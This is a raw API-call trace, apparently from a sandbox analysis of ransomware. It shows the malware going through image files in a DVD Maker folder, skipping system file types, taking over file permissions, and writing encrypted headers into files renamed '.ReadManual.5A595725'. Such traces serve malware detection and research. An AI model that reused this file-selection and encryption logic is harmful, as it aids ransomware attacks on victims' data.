[0252.759] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.759] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.759] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.759] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.760] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.760] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" [0252.760] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png.ReadManual.5A595725" [0252.760] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png.ReadManual.5A595725") returned 101 [0252.760] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37342842118) returned 1 [0252.760] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png")) returned 0x20 [0252.760] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.760] GetLastError () returned 0x5 [0252.760] GetNamedSecurityInfoW () returned 0x0 [0252.760] SetNamedSecurityInfoW () returned 0x0 [0252.760] SetNamedSecurityInfoW () returned 0x0 [0252.761] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.761] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3122) returned 1 [0252.761] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc32, lpName=0x0) returned 0x1a0 [0252.761] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0252.762] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.762] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.763] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.764] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc32) returned 0x2f0000 [0252.764] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.764] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37343251847) returned 1 [0252.764] CloseHandle (hObject=0x1a0) returned 1 [0252.764] SetSecurityInfo () returned 0x5 [0252.764] SetSecurityInfo () returned 0x5 [0252.764] LocalFree (hMem=0x674d38) returned 0x0 [0252.764] CloseHandle (hObject=0x184) returned 1 [0252.764] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71123769, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71123769, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0252.764] lstrcpyW (in: lpString1=0x6ab90e, lpString2="16_9-frame-image-mask.png" | out: lpString1="16_9-frame-image-mask.png") returned="16_9-frame-image-mask.png" [0252.764] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="RecoveryManual.html") returned -1 [0252.764] StrStrIW (lpFirst="16_9-frame-image-mask.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.764] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.764] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.764] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.764] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.764] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.764] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.764] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.764] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.764] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.764] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.765] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.765] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.765] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.765] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.765] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" [0252.765] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png.ReadManual.5A595725" [0252.765] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png.ReadManual.5A595725") returned 102 [0252.765] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37343352266) returned 1 [0252.765] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png")) returned 0x20 [0252.765] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.765] GetLastError () returned 0x5 [0252.765] GetNamedSecurityInfoW () returned 0x0 [0252.765] SetNamedSecurityInfoW () returned 0x0 [0252.766] SetNamedSecurityInfoW () returned 0x0 [0252.766] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.766] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=1400) returned 1 [0252.766] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x578, lpName=0x0) returned 0x1a0 [0252.766] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xdc) returned 1 [0252.767] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.767] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.768] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.768] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x578) returned 0x2f0000 [0252.769] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.769] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37343745759) returned 1 [0252.769] CloseHandle (hObject=0x1a0) returned 1 [0252.769] SetSecurityInfo () returned 0x5 [0252.769] SetSecurityInfo () returned 0x5 [0252.769] LocalFree (hMem=0x674d38) returned 0x0 [0252.769] CloseHandle (hObject=0x184) returned 1 [0252.770] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711498c6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711498c6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c12, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="16_9-frame-overlay.png", cAlternateFileName="")) returned 1 [0252.770] lstrcpyW (in: lpString1=0x6ab90e, lpString2="16_9-frame-overlay.png" | out: lpString1="16_9-frame-overlay.png") returned="16_9-frame-overlay.png" [0252.770] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="RecoveryManual.html") returned -1 [0252.770] StrStrIW (lpFirst="16_9-frame-overlay.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.770] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.770] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.770] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.770] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.770] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.770] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.770] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.770] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.770] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.770] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.770] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.770] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.770] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.770] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.770] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" [0252.770] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png.ReadManual.5A595725" [0252.770] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png.ReadManual.5A595725") returned 99 [0252.770] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37343928077) returned 1 [0252.771] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png")) returned 0x20 [0252.771] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.771] GetLastError () returned 0x5 [0252.771] GetNamedSecurityInfoW () returned 0x0 [0252.771] SetNamedSecurityInfoW () returned 0x0 [0252.771] SetNamedSecurityInfoW () returned 0x0 [0252.772] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.772] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=35858) returned 1 [0252.772] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8c12, lpName=0x0) returned 0x1a0 [0252.772] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0252.773] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.773] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.775] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.775] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8c12) returned 0x2f0000 [0252.776] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.776] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37344476549) returned 1 [0252.776] CloseHandle (hObject=0x1a0) returned 1 [0252.776] SetSecurityInfo () returned 0x5 [0252.776] SetSecurityInfo () returned 0x5 [0252.776] LocalFree (hMem=0x674d38) returned 0x0 [0252.776] CloseHandle (hObject=0x184) returned 1 [0252.776] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71254251, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71254251, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f993, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0252.776] lstrcpyW (in: lpString1=0x6ab90e, lpString2="background.png" | out: lpString1="background.png") returned="background.png" [0252.776] lstrcmpiW (lpString1="background.png", lpString2="RecoveryManual.html") returned -1 [0252.776] StrStrIW (lpFirst="background.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.777] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.777] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.777] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.777] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.777] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.777] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.777] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.777] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.777] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.777] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.777] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.777] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.777] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.777] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.777] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" [0252.777] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png.ReadManual.5A595725" [0252.777] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png.ReadManual.5A595725") returned 91 [0252.777] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37344581883) returned 1 [0252.777] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png")) returned 0x20 [0252.778] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.778] GetLastError () returned 0x5 [0252.778] GetNamedSecurityInfoW () returned 0x0 [0252.778] SetNamedSecurityInfoW () returned 0x0 [0252.779] SetNamedSecurityInfoW () returned 0x0 [0252.781] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.781] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=194963) returned 1 [0252.781] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2f993, lpName=0x0) returned 0x1a0 [0252.781] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc6) returned 1 [0252.782] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.782] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.784] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.784] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2f993) returned 0x1de0000 [0252.788] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0252.789] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37345783778) returned 1 [0252.789] CloseHandle (hObject=0x1a0) returned 1 [0252.789] SetSecurityInfo () returned 0x5 [0252.789] SetSecurityInfo () returned 0x5 [0252.789] LocalFree (hMem=0x674d38) returned 0x0 [0252.789] CloseHandle (hObject=0x184) returned 1 [0252.789] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0252.789] lstrcpyW (in: lpString1=0x6ab90e, lpString2="btn-back-static.png" | out: lpString1="btn-back-static.png") returned="btn-back-static.png" [0252.789] lstrcmpiW (lpString1="btn-back-static.png", lpString2="RecoveryManual.html") returned -1 [0252.790] StrStrIW (lpFirst="btn-back-static.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.790] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.790] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.790] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.790] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.790] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.790] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.790] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.790] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.790] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.790] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.790] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.790] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.790] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.790] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.790] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" [0252.790] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png.ReadManual.5A595725" [0252.790] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png.ReadManual.5A595725") returned 96 [0252.790] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37345881636) returned 1 [0252.790] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png")) returned 0x20 [0252.790] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.790] GetLastError () returned 0x5 [0252.790] GetNamedSecurityInfoW () returned 0x0 [0252.791] SetNamedSecurityInfoW () returned 0x0 [0252.791] SetNamedSecurityInfoW () returned 0x0 [0252.791] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.792] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=10888) returned 1 [0252.792] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a88, lpName=0x0) returned 0x1a0 [0252.792] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0252.792] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.792] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.794] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.794] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a88) returned 0x2f0000 [0252.794] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.794] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37346292112) returned 1 [0252.794] CloseHandle (hObject=0x1a0) returned 1 [0252.794] SetSecurityInfo () returned 0x5 [0252.794] SetSecurityInfo 